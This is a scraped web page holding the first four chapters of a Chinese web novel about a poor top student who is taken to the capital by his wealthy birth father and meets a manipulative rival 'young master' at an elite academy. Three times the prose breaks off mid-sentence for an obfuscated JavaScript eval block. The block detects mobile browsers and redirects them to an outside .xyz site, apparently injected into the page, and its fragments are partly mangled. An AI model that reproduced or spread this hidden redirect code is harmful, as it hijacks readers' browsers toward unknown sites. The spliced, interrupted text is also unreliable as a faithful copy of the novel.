《真少爷是贵族学院万人嫌》 1. 第 1 章 圣洛莱索学院坐落于首都淮新,这里的学生非富即贵,全联邦未来最顶层的那一批的管理者和掌权人都在这里。 而距离此处几千公里的略阿州,则是联邦几大洲里经济最不发达的州,旁边毗邻的是联邦倒数第二的亚纽州。 罗河县就在略阿洲境内,和亚纽州相邻。 虽然经济不发达,但是罗河县第一高级中学却是周边几个县里升学率最高的学校。 尽管如此,近些年罗河县一高的学生考出的最好的成绩,也不过是略阿洲境内排名第一的大学罢了。 至于考上萨卡州境内的联邦大学,对于罗河县一高的学生来说几乎是一种奢望。 罗河县一高,高二1班。 上午最后一节课也是高二整个学年的最后一节课,上完这节课后,高二的学生就将迎来为期一个月的暑假。班里人心浮动,没几个人在认真自习。 脸上带点雀斑的褐发男生推了推正在发呆的黑发男生,“暑假出去玩吗?我和其他人商量着一起去亚纽州爬山,据说是还没有被开发的野山,已经有五个人了。贺衍,你来不?” “不去,我还要打工。”贺衍收回看向窗外的视线,阳光恰好照在他的侧脸,睫毛又长又黑,微微卷翘,泛起点点星光,宛若描出来的一般,在冷白的面颊上投下一层淡淡的阴影。 “好吧,我忘了你还要打工这回事。”雀斑男孩扭过头对后面两个女生张嘴做了下口型,他不去。 他失落地叹了口气,贺衍不去,那班里的女生更没有去的可行性了。要是他能长成贺衍那样,学习成绩再差他都愿意。 雀斑男孩耸了下肩,算了,他也羡慕不来,贺衍的成绩一直都是全年级第一,老天也真是偏心。 中年男人怀里抱着一叠16开的纸,还带着微微的纸墨香,是刚刚印出来没多久的班级成绩单,人手一份。 中年男人走进教室,清了清嗓子,“同学们,这次的期末考试成绩出来了。希望大家好好把握住这个暑假,高三是最关键的一年了。暑假也不要老想着出去玩了,把没有学会的知识点······” 讲台上的班主任苦口婆心,头顶的电风扇嗡嗡作响。 贺衍垂眸,左手握住了从窗外射进来的细碎阳光,只剩最后一年了。 “啊?!期末成绩怎么出来了。”“老天,这让我怎么过好暑假,我觉得我这次发挥超差。”×n 小声的抱怨声此起彼伏,讲台上的班主任轻咳了一声,“贺衍,你过来把成绩单发一下。” 被叫到名字的人站起来,走到讲台上,额前的碎发随着步伐轻轻摇曳,露出了一双无比清冷的眼睛。 那是一双极好看的眼睛,凝聚着熠熠的光彩,是一双很亮又很冷的眼睛。 他比中年男人高了要有大半个头,身量高挑,和有些微胖发福地中年男人完全是两个画风。 “贺衍这次又比第二名高了快一百分,你说他能不能考上首都的大学。” “你是说联邦大学还是普通的首都大学。” “肯定是联邦大学啊!” “但想想也不可能吧,联邦大学对平民要求的分数太高了,虽然贺衍成绩的确很牛,可联邦大学不止要求高考成绩要过线,你不想想,他们的自主考题每年都出得那么变态。” “可是联邦大学相对来说是对平民最公平的学校了吧,要是能考上基本上一辈子就稳了。完全是往上升了一个阶层啊,哪里要像我们一样为了温饱挣扎一辈子。” “唉,别想那么沉重的话题了,其实我觉得如果能去姆扎州上大学也不错······” 最后一节课的下课铃响起,罗河县高二的学生终于开启了期待已久的暑假。 班主任不过眨了下眼,贺衍就要踏出教室了,他连忙开口,“贺衍,你留一下。” “你的成绩放到整个联邦也是数得上的,但是相比于那些经济发达的州县,咱们这里的教育资源还是太落后了。学校这次专门请到了首都十二中的老师,打算给年级前十的学生免费补习,下周一开始,你这个暑假——” 贺衍握着书包的手紧了一些,他摇了摇头,“抱歉,老师,我得去打工。” 班主任看着他逐渐远去的背影摇了摇头。 学校也知道贺衍家境不好,不仅减免学费而且每月都给他按最高额度给了生活补贴,第一名的奖金每次也有一两千。 日常生活绝对是没问题的,这次可是跟着首都的名师学习的机会,贺衍怎么想都不想都拒绝了。 萨卡州,圣洛莱索学院,此时正在举行放假前的最后一次晚会。 巨大的水晶吊灯散发出明亮的光芒,宛若璀璨的宝石,觥筹交错,呼吸中都带着奢华的味道。 “贺琚,你这个暑假真的不打算和我们一起去奎尔丹尼州的雪山吗。我可是专门找我爸给我们特批了一座山,到时候我们那里全是我们的,想怎么玩都可以。” 贺琚有着一头微卷的短发,他的脸蛋仿佛百合花一般圣洁,但又泛着玫瑰花的瑰丽颜色。带着某种雌雄莫辨的美,几乎无法用言语形容。 他把眼睛低了下去,在眼睑上簇生着长长的似箭般的睫毛,描绘出了美丽的半圆形,覆盖在眼睛上面。 一个几乎察觉不到的微笑留在他的唇边,好像两颗红宝石,让人忍不住想要一亲芳泽,“抱歉,我暑假有其他事情。” 说话的人有些着迷地望着他,刚才被拒绝的不快瞬间消散。 …… 张大姐火锅店。 快一个月了,马上就能拿到工资了,贺衍的脚步比以往都要轻快。 他从侧门走进店里,跟其他人打了声招呼,熟稔地从餐厅后面的休息室找出红色的火锅店工作服——一件橘红色的围裙,上面印着火锅店的名字。 傍晚,贺衍站在门口接待。 火锅店门口再次排成长龙,怎么每次打工的店生意都这么好,他想稍微休息一下都找不到空闲。 穿着靓丽的年轻女性看起来有些不好意思,脸颊微微泛红,她深吸了一口气走上前,“小哥,今天排队的人太多了,下次来吃能提前预约吗?” 贺衍点了点头,“可以,你可以记一下店里的电——” 他的话还没说完,面前的女生就拿出了手机,“小哥你是这家店的服务员吧,能加一下你的微讯号吗,我下次直接找你预约。” 火锅店的老板张大姐坐在柜台前,听见门口的动静,颇为悠闲地摇着头喝了一口茶。果然现在这个社会,颜值才是王道啊,自从贺衍来了之后,店里的营业额直线飙升。 可惜他就在自己这里打一个月的工。 还有一件事也挺奇怪,平常每隔一周都要来店里免费吃喝收保护费的小混混这个月全都消失不见了。 可能过暑假了,混混也出去玩了? 反正是个好事,想不通就不想了,张大姐笑眯眯地掀开帘子,“小姑娘,我们的预约电话就在招牌上写着呢,想吃打那个就行。” 那个女生唰一下从脖子到脸全红了,支支吾吾地说了句我知道了就跑了。 贺衍微微蹙眉,“张姐,她还没记店里的号码。” 张大姐看着贺衍边笑边摇头,“没关系,反正人家小姑娘也不是真想吃。” 贺衍口袋里的手机突然响了,来电人:贺振刚。 他蹙了下眉,把看起来有些年头的手机放回口袋,任由手机震动。 手机一直响个不停,贺衍走到角落,接通了电话,即使没开免提,对面的嗓音也几乎要穿透手机,“死小子,给你打了那么多电话怎么都不接!” “什么事,我还在打工。”贺衍神色有些不耐,语气极其冷淡。 贺振刚有些含糊地说,“你回来一趟,有急事。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15457201|169569||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“说清楚,什么急事。” “你管什么急事,你要是现在不回来——啧,对了,我知道你那个火锅店,最多给你二十分钟回家。不然我立刻给医院打电话断药,要知道你奶的现在的监护人是我!” 贺衍脸色沉了下去,贺振刚原来不是没干过这种事情。 “张姐,我要回家一趟!” 贺衍来不及过多解释,连身上穿着的印有张大姐火锅店的围裙都没来得及摘,立刻飞奔出店门,骑上明显有些年头的破旧自行车,急奔回家。 两旁的道路被他撇在身后,街边的小店变得模糊。贺衍用力踏着车,穿过狭窄的街道,拐进有些拥挤的巷子,抄着近路终于赶到了小区门前。 贺衍家的小区是上个世纪的老建筑,没物业没绿化带,最高的楼层才三楼,整个小区的面积还没有一个足球场大。至于房屋面积,那跟联邦公布的每个公民平均住房面积相差十倍不止。墙壁都是只涂了一层白漆的水泥墙,甚至有些连整个墙皮都掉光了。 唯一的好处就是不用交物业费。 怎么这么多人。小区只有一个大门能过,现在被一群人围住了,声音嘈杂,七嘴八舌,不知道在看什么热闹。贺衍把自行车甩到一旁,从人群中左挤右挤,终于挤了进去。 小区门口停着一辆加长版豪车。 隔壁的王大爷有些唏嘘地叹气,“这是谁家的车停我们这种破地方了,我再活几辈子也赚不了这一辆车的钱。” “这话可不兴说,老王,这车多少钱,我也想弄一辆,真气派。” 王大爷瞥了他一眼,“你这老头真是异想天开。这一辆车,至少得一千万!” “娘嘞,那咱们别离这么近了,要是不小心刮到了,把自己卖了也赔不起。” 贺衍没管身后那些人在议论什么,他径直走到家门口,拿出钥匙开门,结果怎么都打不开,门从里面被反锁了。 贺衍深吸一口气,往后退了几步,伸腿就准备踹,门忽然从里面被打开了。 他勉强压下心里的怒火,抬头一看,愣了一下。 一身黑色西服身材特别壮实的男子对着贺衍点了点头,“少爷,您回来了。” 少爷?!! 贺振刚又在搞什么幺蛾子,贺衍紧抿双唇,语气很冷,“你谁?” 贺衍额前的碎发被风吹拂着散开,那双满是星碎的眼睛里满是冰冷的敌意,却无端让人移不开视线。 黑衣保镖心里咂舌,之前在照片上看过这位少爷的长相,但照片完全没办法和真人相比,特别是眼睛,有种说不出的美。 长相真是完全结合了老爷夫人的优点。这位和家里那位少爷完全是两个风格,但要让他说,贺琚少爷长得太美了,男人还是长成这位贺衍少爷的好,又酷又帅。 他心里嘀咕着,但是面容依旧无比严肃,“您请进,老爷在里面等你。” 贺衍扯了扯嘴角,这又是在演什么豪门剧情。贺振刚又放什么人到家里了,他那脑子,贺衍蹙眉,不会是被骗了吧。 转过狭窄的过门拐角,贺振刚正满脸讨好地看着一个穿着深灰色西装的男人。毕竟他从指头缝里露出来一丁丁点,就能让自己衣食无忧几辈子了。 这是一个相貌英俊的中年男人,即便是坐在那里什么话都不说,只是皱皱眉,都让贺振刚感觉心里发慌。 他拙劣地讨好着眼前的男人,点头哈腰,令人发笑。 不足五十平米的空间,天花板差不多霉完了,灰不溜秋还有裂缝,墙皮脱落了一大片,糟了的木质桌椅,水泥地看着又脏又潮,还有干巴的灰土。连空调都没有,潮湿黏腻的空气让贺忠载有些嫌弃地皱了下鼻子,空气中弥漫着的味道也让他有些不适。 这房子又破又小,给老鼠都不住。他那个亲生儿子就在这种地方长大? 贺忠载抬腕看了眼手表,眉宇间浮现些许不耐。 2. 第 2 章 贺振刚笑得脸上的褶子都能挤出一个包子来,“这个,您看我刚才已经给贺衍打电话了,他绝对一会儿就会回来,他最在意他奶奶了。” “咱们都姓贺,五百年前是一家也说不定。”贺振刚说完之后又对着那个男人谄媚地笑了一下,正准备在恭维些什么,忽然看到了出现在门口的贺衍,立刻喜笑颜开,“您看您看,说曹操曹操到,贺衍这不就回来了。” 贺衍刚进门,就听见了这句话,怪异的感觉在心绪间翻腾。 贺衍扫了一眼这个和家格格不入的存在,视线又重新落到贺振刚身上。发现了他有些微微颤抖的身躯,贺衍微微抿唇,神色愈发戒备起来。 这个男人是谁? 贺振刚那种无赖的性格,可不会无缘无故害怕一个人到这种程度。 贺衍走到了两人之间,将贺振刚稍稍挡到身后,垂眸看向坐在那里气定神闲的中年男人,“你为什么会出现在我的家里?” 穿着西装的中年男人慢慢抬眼,有些挑剔地打量着贺衍,像是在估价。 廉价的衣服,可笑的围裙,身上还带着一股难闻的饭味,全身上下仿佛就写着没教养三个大字。 唯一的优点就是那张脸。 贺忠载打量了片刻,他站了起来,拍了拍身上不存在灰尘。 他没贺衍高,但依旧抬着下巴用那种居高临下的态度开口说道:“我是你亲生父亲,打算带你回首都。” 但是他没看到自己想象中的贺衍激动的场景,有的只是一张更加冷漠的脸。 贺衍扯了下嘴角,无视了刚才说话的人,他盯着贺振刚淡淡开口,“你如果欠钱了想把我卖给高利贷,没必要找人演这一出。” 贺忠载哂笑,眉头一挑。 贺振刚立刻心惊胆战起来,下意识摸了下被打的已经青肿的腹部,连忙打圆场。 “贺衍,你怎么说话的。到底我也养你这么多年了,要真是开玩笑早被我赶出去了。这位可是首都贺家的,贺家你都不知道,全国数得上名号的集团,要是能进贺氏集团,那简直是祖坟冒青烟。更别说你可是贺总的亲儿子,跟着贺总回首都,可比在这里要好上一千万倍,那可是首都,你也不想想。快,好好跟贺总说话。” 电视剧里富豪十几年后认亲的事情发生到自己身上,贺衍只觉得荒谬。 贺衍表眼底没什么波动。如果这个男人说的是实话,首都贺家,完全和他不是一个阶级。但这个自称是他“亲生父亲”的男人明显看不上自己,如果真的想找自己,真心希望他回去,会是这种态度吗? 贺忠载完全没有掩饰自己的不耐,“我是在通知你,现在你收拾一下,等下我们就走。我已经在这里浪费了很长时间了。你不想走无非是因为杨霞梅的事,我已经打好招呼,让她转入首都的医院了。等你成年,杨梅霞的监护权也会转移到你身上。” 贺衍的眼睛微微睁大。 贺振刚看出贺衍的态度有些许松动,一连串的劝说从他嘴里出来,“你看,白纸黑字写得明明白白。” 贺衍扫了一眼,上面明晃晃的一串数字,五百万。他扯了一下嘴角,怪不得贺振刚这么积极。 “奶奶已经去首都了?什么时候,我昨天晚上还去医院看她了。” 一旁的保镖将视频递给贺衍,里面是医院的工作人员护送着杨霞梅前往飞机的画面。 贺衍一帧一帧的暂停,没有看到任何伪造过的痕迹。 他的眉头一点点蹙起来。 “就是今天上午,坐私人飞机走的。”贺振刚停顿了一下,轻轻地感叹道:“小衍,真没想到你居然命这么好,你爸——不不,我还真是有些羡慕了。” 贺忠载出声打断了贺振刚难得地想要促膝长谈的念头,“你去收拾一下,换身干净的衣服,所有的行李都不用拿。” 真是傲慢,他不认为这个突然冒出来的有钱的亲生父亲会是什么慈善家。 自己到底对他有什么用。 贺衍再次确认,“我奶奶转入首都哪个医院了?” 贺忠载眉头蹙着,“等你回家了我自然会告诉你。我没必要为难一个老人,不是吗?” 贺衍忍住想要暴揍这个人的冲动,睫毛低垂在脸颊上,掩住眸底的情绪。 “我希望你现在就告诉我。”贺衍抬头,死死地盯着贺忠载。 贺忠载嗤笑一声,笑容带着嘲谑,“贺衍,我说过的,等你到家了,我自然就会告诉你。” 贺衍的双手握拳,越握越紧,手上的青筋几乎要爆出来。他不在意什么贺家,也不在乎他们到底多有钱。但是—— “我想,你应该不忍心让一个六十多岁的老年人,一个人待在陌生的地方。”贺忠载漫不经心地开口,随后推门走了出去。 贺忠载唇角弧度轻微上扬,到底是自己的基因,虽然长在这种地方,倒没他想得那么小家子气。那张脸也出乎意料的比照片好上太多,或许那个计划成功的可能性又大了一些。 黑衣保镖站在门口,语气恭敬地说道:“少爷,希望您能尽快收拾好。如果天黑之前还没有准备好的话,我就会实行强制措施了,请您见谅。” 说完这句话后,黑衣保镖也随即离开,关上了门。 潮湿又闷热的屋子里只剩下了贺振刚和贺衍两个人。 贺衍不是自己的亲儿子,这件事贺振刚早在贺衍五六岁的时候就确定了。 他老婆生完孩子没过多久就去世了,也因为这样,在贺衍小的时候,他对于这个孩子是万分疼爱的。 但是随着贺衍越长越大,面容越发精致,既不像自己也不像他老婆,完全不是他们夫妻俩能生出来的孩子。 贺振刚还曾经骄傲地以为是这孩子结合了他们夫妻俩最好的基因,但邻里街坊都说是他老婆偷人了。他那时候气急败坏地花了大价钱去做亲子鉴定,想要堵住邻居的嘴,结果可笑的是,贺衍的确不是自己的孩子。 贺振刚心里五味杂陈,虽然过去这些年他一直对贺衍的不管不问的,但到底他也没把贺衍赶出去,到底是替有钱人养了贺衍十七,不,快十八个年头。这钱他收得心安理得,贺振刚再一次在心里对自己说道。 而且贺衍也要到首都去豪门里过他的好日子了,要他是贺衍,估计得高兴死了。 贺振刚唇瓣嗫嚅,一时之间,突然无话可说,空气安静了半晌,贺振刚的嘴巴张张合合,憋出来了一句话,“你到那里要照顾好你自己。” 小区门口的聚集的人群早已经散开,只剩下几个大爷大妈扇着蒲扇坐在树下迎着晚风乘凉,嗑着瓜子聊着家常。 王大爷正往嘴里灌水,突然瞥到那辆加长豪车的车门被拉开,“诶诶,有人坐上去了。那不是老贺家的那个,学习成绩特别好的那个谁来着。” “他怎么坐上那辆车了?” 车开走了,没有人回答他们的问题。 贺振刚用力攒紧手里的那张五百万支票,看着只剩自己一个人的潮湿破小的房间,忽然又哭又笑起来。 车里除了开车的司机之外,只有之前在屋内见过的那位保镖,贺忠载已经提前乘坐私人飞机离开了。 贺衍没有问他血缘上的父亲的名字,他的那个亲生父亲也没有告诉过他。贺忠载这个名字还是之后从保镖口 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15457202|169569||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中听到的。 两个小时后,汽车行驶到距离此处最近的略阿州的一座机场。 现在已经是晚上十点了。 机场的保安:“抱歉,机场内私人车辆禁止进——” 他还没说完,瞥到眼前的车和车牌号,整个人都清醒了,立刻放行,“见谅见谅,刚才眼瞎了,您赶紧请进。” “贺衍少爷,请您跟我走。”保镖边走边解释,“这里太偏僻了,没有贺家的专用机场,让您坐的时间有点久了。” 贺衍掀了下眼皮,没有搭话。 一架私人飞机就停放在前方不远处。一路上这位保镖都在尽职尽责地向自己展示所谓的特权阶级,到底是什么意思呢。那位贺总的目的到底是什么,贺衍敛眸,眼底划过一丝暗色。 不管怎样,他希望到首都第一时间就能看到奶奶。 飞机上,黑衣保镖使出平生所学,用尽华丽辞藻来形容贺家到底有多么门庭赫奕。但贺衍依旧不为所动,理都没有理他一下,甚至吝啬地没有给他任何一个眼神。 贺衍听的耳朵都起茧了,他打断了黑衣保镖的滔滔不绝,审视地看着他,“你真的不知道我奶奶在哪里住院?” “抱歉,少爷,这个我真不清楚,都是老爷身边的管家一手安排的。” “那贺忠载的联系方式呢?” “少爷,没有老爷吩咐,我不能随便给你的。” 贺衍不再说话,机舱内再次变得安静起来。 贺衍看向窗外,离首都越来越近了,即便是半夜,有一大片的区域依旧是灯火通明,那是只在书本和网络上才见到过的地方。 经过十二个小时的飞行,飞机进入萨卡州境内。 此时,已是第二天上午十一点。 首都,贺家。 贺琚正在游泳。 这是一座标准的比赛场地,是贺家的女主人何眷蓉专门为了贺琚建的。 泳池边的躺椅上坐着一个男生,面容精致,金色的卷发,一双翠绿的猫眼很是灵动,但浑身上下却有种混不吝的感觉。 仅仅是他身上穿的那件短袖,就要一两万。 “贺琚,我好不容易打发掉其他人来找你玩。结果你就在泳池里泡了一上午,太不够意思了吧。你不是说暑假有事,可假期马上就结束了,我也没听别人说你出去玩了啊。” 男生的话明明是抱怨,但是语气却丝毫不显,他笑了一下,露出一个小酒窝。 他的视线痴痴地黏在贺琚裸露的上半身上。 他不喜欢男人,也从来没觉得男人的身体能有多美,但贺琚却像是希腊神话中美神的化身,又像是大卫降临。 “方盛寒,我才知道我原来还有一个哥哥,他马上就要回来了。”贺琚脸颊上扬起一抹笑,仿若玫瑰绽开,“这可是我暑假里最期待的事情了。” 方盛寒起身,“你别强装开心了。” 贺琚眼角微微下垂,他可没有不开心,毕竟所谓的双生子,不过是贺忠载给外界的说法罢了。 蝴蝶扇羽般的睫毛挡住了眼底流转的光波,让人看不清贺琚的情绪。 夏日的暖阳透过泳池上方的玻璃穹顶,散落地照射在贺琚身上,为他的周身披上了一层光晕。 方盛寒不屑地啧了一声,“什么狗屁哥哥,不就是你爹的私生子,还哥哥,真够不要脸的。” “你放心,到时候我不会让他在圣洛莱索有好日子好过的。”方盛寒说完这句话之后,就气势汹汹地离开了。 贺琚看着方盛寒的背影,丝毫不掩饰眼底的嘲意,蠢货。 不过,这个世界上蠢货太多了。 3. 第 3 章 亲爱的哥 贺忠载想和裴家联姻,毕竟贺家自从上次联邦选举站错队后,就一直受到打压,即使裴贺两家利益输送紧密,但是现在的贺家—— 裴行赫不到四十就成为联邦的副总统,裴屷作为裴行赫的独子,想要和他联姻的人多如牛毛。他可不认为裴家有做慈善的习惯。贺家这个庞然大物,看似坚不可摧,可是内里满是空洞。现在只要稍稍一推,就会散架。 贺琚眼睛微眯,把头上的浴巾撤下来,任由水珠从发丝滑落。 如果不是他拒绝了贺忠载让他和裴屷联姻的要求,他这位好哥哥大概现在还在某个穷乡僻壤里过苦日子。这么一想,贺衍还要好好感谢他才对。 说起来,应该快到了——他亲爱的哥哥。 这无聊的生活终于有点乐子了。贺琚眼睛微眯,笑出了声,在空旷的游泳池里,莫名有些渗人。 贺忠载比贺衍提前回来了几个小时,早上八点就已经达到。此时正在公司处理公务,至于接待贺衍,他已经早早把这件事吩咐给了何眷蓉。 只是何眷蓉也有和其他贵妇人的约会。 至于不知道在哪个犄角旮旯的角落里长大的亲儿子。听说是那个小县高中里的第一名,何眷蓉享受着spa按摩,漫不经心地笑了下。不过学习成绩好而已。 贺琚学习又不差,圣洛莱索的前几名,可不是下等人上的高中能比的。 要知道贺琚不仅各类乐器样样精通,甚至运动也是顶尖水平,没有人不羡慕她有这么一个好儿子。 她可不希望别人知道自己的亲生儿子是一个只会学习的书呆子。而且贺忠载根本没有改口更换继承人的事情。她更不能在这件事情上让自己的亲亲儿子跟自己离心。 因此接待贺衍这件事,就落到了贺琚头上。 游泳馆的更衣室,贺琚听到外面的动静,唇角泄出一丝笑意,不知道他这个好哥哥到底什么样,他不喜欢无趣的人。 贺琚对着镜子整理了下仪容,眼底满是薄凉,深黑的眸底仿若深渊一样,望过去看不到底。 无趣的东西,如果没用,那就只能扔掉了。 私人飞机稳稳落地,飞机内的佣人为贺衍打开舱门,烈日的阳光霎时间落满整个机舱,干热的空气争先恐后地涌入飞机内,迫不及待地想要吞噬同化里面的凉意。 “贺衍少爷,已经到地方了。” 另一边,大厅一侧。 管家看到方盛寒走出来,恭敬地说道:“方少爷,您要回去了吗?我这就安排车送您到门口。” 方盛寒看到不远处的停机坪上方忽然传来轰隆的声响,一架飞机稳稳地停在了那里。片刻后,从上面走下来一个人影,他看不大清楚。 方盛寒坐上车,汽车开往贺家大门,刚好经过停机坪。 夏天的风满是躁意,方盛寒正准备关上车窗,忽然瞥到了那个人影,他依旧没有看清那张脸,只记住了那双眼睛。 停机坪一侧,穿着燕尾服的中年男人恭敬地候在那里,“贺衍少爷,我是贺家的副总管——贺叁,您请跟我来。” 贺叁?莫非还有贺壹、贺贰不成。 “我奶奶在哪?”贺衍没有把过多的心思放在对贺家的探索上。 贺叁:“您先跟我来,其他事情,老爷自有吩咐。” 贺衍不着痕迹地观察四周:贺叁的身后站着两个侍从,身手尚不清楚;而那位一直跟在自己身后的黑衣保镖,看似陪护,实则虎视眈眈,要是自己有其他举动,他毫不怀疑这位黑衣保镖会有所行动。 他倒是不怕那个保镖,路上他浅浅试探过,只是现在独身一人在这里,贸然出手到底不是明智之举。 贺衍微微颔首,“麻烦你带路了。” 贺家的正厅距离停机坪还有一段路程,贺叁打开车门,“贺衍少爷,您请——” 话音未落,一辆跑车便到了跟前,“贺叁,让哥哥坐我的车吧。” 这声音着实悦耳,像是清泉从石上滑落,让夏日都多了几分清爽。 贺衍循着声音向后望去。此时正是正午,太阳毒辣,光线刺眼,贺衍看不清那人长相。大概过了一会儿,他的视线才恢复正常。 贺琚已至跟前,那张脸凑近看也丝毫没有任何缺陷,美得让人窒息。 现在这张面孔上满是灿烂欢悦的笑容,几乎没有人不为此动容。 贺衍往后动了下,拉开了两人的距离,身侧的双拳下意识就要挥出去。 贺琚有些无措地眨了眨眼,毫不在意地笑道:“看来哥哥不喜欢这样,我下次就知道了。对了,哥哥快跟我来,我带你去你的房间。” 这个哥哥比照片要好看太多了,而且没想到居然比自己高半头,真是有些不爽,他不喜欢仰视别人。 贺琚本就深黑的的瞳孔愈发晦暗。 贺衍瞥了一眼周围,刚才还在的那些管家保镖全部都听话的消失不见了。故意还是无意,下马威吗? “不知道爸爸跟哥哥说了没有,其实哥哥和我是双生子,只是当初妈妈怀我们的时候,有坏人作祟,把哥哥给偷走了。我小的时候一直希望能有一个哥哥保护我,还好,现在终于找到哥哥了。” 贺琚说这些话的时候自己都快被恶心坏了,不过还是恶趣味地想要观察一下贺衍的表情,结果什么都没看出来。 贺衍左耳朵进右耳朵出,他不清楚这个叫贺琚的家伙到底玩什么把戏,是真心实意还是骗人他都无所谓。在飞机上那位保镖跟贺衍大致讲了下贺家的成员,不过具体的没细说,他本来还以为这个贺琚的人会比自己要小上几岁。 居然是双生子吗,他们俩从头到脚有哪一点像。 贺衍掩下眼底的烦躁,“嗯,我是贺衍。” 还有,这个贺琚和自己要是双生子,那不也是未成年,未成年能有驾驶证吗?要是出车祸了,他可没买保险。 贺衍被自己脑子里突然冒出来的想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15457203|169569||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 法给笑到了。眉眼下意识弯了一下,睫毛微颤,看起来温和了些许。 贺琚注意到他的神情的变化,兴致忽然低了一些。什么嘛,这么简单就接受自己是贺家双生子的身份了吗。 这也太好骗了,不会后面还会给自己来什么兄友弟恭这一套吧。这可不行,贺琚眼底流淌恶意的光芒,蠢蠢欲动。 贺琚开车出乎意料得很稳,贺衍在车停下的时候问道:“贺忠载不在家吗?” “爸爸现在工作,妈妈也和她的好姐妹有约。不过哥哥,你别难过,爸爸妈妈对我也不是很亲。”贺琚的声音很轻,听上去有些可怜。 这人是把自己当傻子哄吗?贺衍听着他说话,莫名烦躁。 “哥哥,我会在家里陪着你的,你的房间都是我亲手布置的。”贺琚丝毫不掩饰自己对贺衍的亲近,“我现在就带着哥哥去看,哥哥的房间就在我的旁边。” 贺衍忍住自己的脾气没有打断他啰里吧嗦的一堆话,耐心听完之后问道:“那你有贺忠载的联系方式吗?我有事要问他。” “爸爸的联系方式吗?”贺琚走下车,声音带上些许的歉意,“有是有,但是爸爸工作期间一般不希望有人打扰。哥哥你不要害怕,爸爸妈妈晚上就会回来了,我们一家终于可以团聚了。” 贺衍垂眸看了贺琚一眼,心里一阵无语,这家伙是表演型人格吗,戏这么多。他有些无奈地说道:“那麻烦你把他的联系方式给我,我有急事要找他。” 贺琚走在前面领路,他的脚步并没有因为两人的对话而停止,声音听起来楚楚可怜,“哥哥先去房间看一看吧,我好不容易布置好的,看完之后我就把爸爸的联系方式给哥哥,好不好。” 贺衍抿唇,“多谢。” 啊,真无聊,贺琚看到贺衍这种完全是意料之中的样子,兴致缺缺,忽然没了演戏的兴趣。 贺琚随手挥退想要上前服侍的女仆,领着贺衍上了楼梯。这么急着找贺忠载,到底是什么急事呢?这么想着的贺琚也就随口问出了声,只是声音跟刚才相比,明显冷淡了很多。 贺衍无所谓他态度的变化,“你知道他把杨霞梅安排到哪个医院了吗?” 贺琚的脚步顿住了,他歪了歪头,“杨霞梅?抱歉哦,我没听过这个名字呢?是你很重要的人吗?” 贺琚根本不在意贺衍的回答,也完全没有听的意思,“就是这里了,这里就是你的房间。” “谢谢你,那麻烦把贺忠载的联系方式给我吧。”贺衍对着贺琚扯起嘴角,深吸了一口气,勉强抱歉地笑了一下。他承认自己心情不好,但是贺琚的确没有做错什么,他不应该为此迁怒别人。 好破的手机啊,这个哥哥是真的好穷啊。不知道开学的时候,他会在圣洛莱索遭遇什么样的事情呢。 贺琚唇角的弧度变大,黑泥般的恶意流淌,“啊呀,不好意思,哥哥。我其实是骗你的,我也不知道贺忠载的联系方式呢。” 4. 第 4 章 贺琚还没反应过来,已经被人扯着领子钉在了墙上,双脚堪堪碰着地面。 贺衍拽着他领子的手越收越紧,语气变冷,“骗我好玩吗?” 贺琚的脸逐渐变红,眼角也微微泛红,在走廊的灯光下,像是偷偷抹上的胭脂,浮华艳丽。 明明快要呼吸不过来了,但是贺琚却几乎快要压抑不住上扬的唇角,激动的身体微颤,艰难地出声,“哥哥,对不起,你别生气,我,我,现在就告诉你。” 贺衍警告地看着他,缓缓松开了扼制住他咽喉的手。不过片刻就在贺琚脖颈上留下了一道艳红的印子,无端令人想象。 贺琚眼睛微眯,温热的吐息在贺衍的耳边响起,“其实,爸爸是骗你的,我们不是什么双生子。哥哥才是贺家真正的少爷啊,我不过是偷了哥哥人生的坏人罢了。” 贺琚躲开贺衍的动作,往后退几步,仿若蛊惑般低语,“我才是应该在那个破旧不堪的小角落里苟延残喘的人啊,哥哥。你难道不怨我吗?” 贺衍冷着脸看向贺琚,“别喊我哥哥。” “你的房间我已经带到了,我就先离开了,哥哥。”贺琚挥了挥手,笑容和最开始一样甜蜜。 贺琚的脚步雀跃,纯黑的眼珠墨色浓郁。啊,原来不是兔子,是一只猛虎啊。他最喜欢看猛兽一步步走向末路,奄奄一息地哀嚎了。 贺衍没有再动手,看着贺琚一步步离开了原地。 要是这小子嘴里是真话,那这剧情越来越越狗血了。不仅仅是富豪找到失散多年的儿子,还是真假少爷的这种八点档电视剧。 不过自己这个所谓的亲生儿子,估计对贺家也不算什么。贺衍没什么伤心的情绪,只觉得烦躁,他不喜欢这种受人掌控的状态。 至于刚才的贺琚,不过是贺衍十几年的人生里遇到的奇葩之一,还不如小时候街边小混混给他的威胁大。 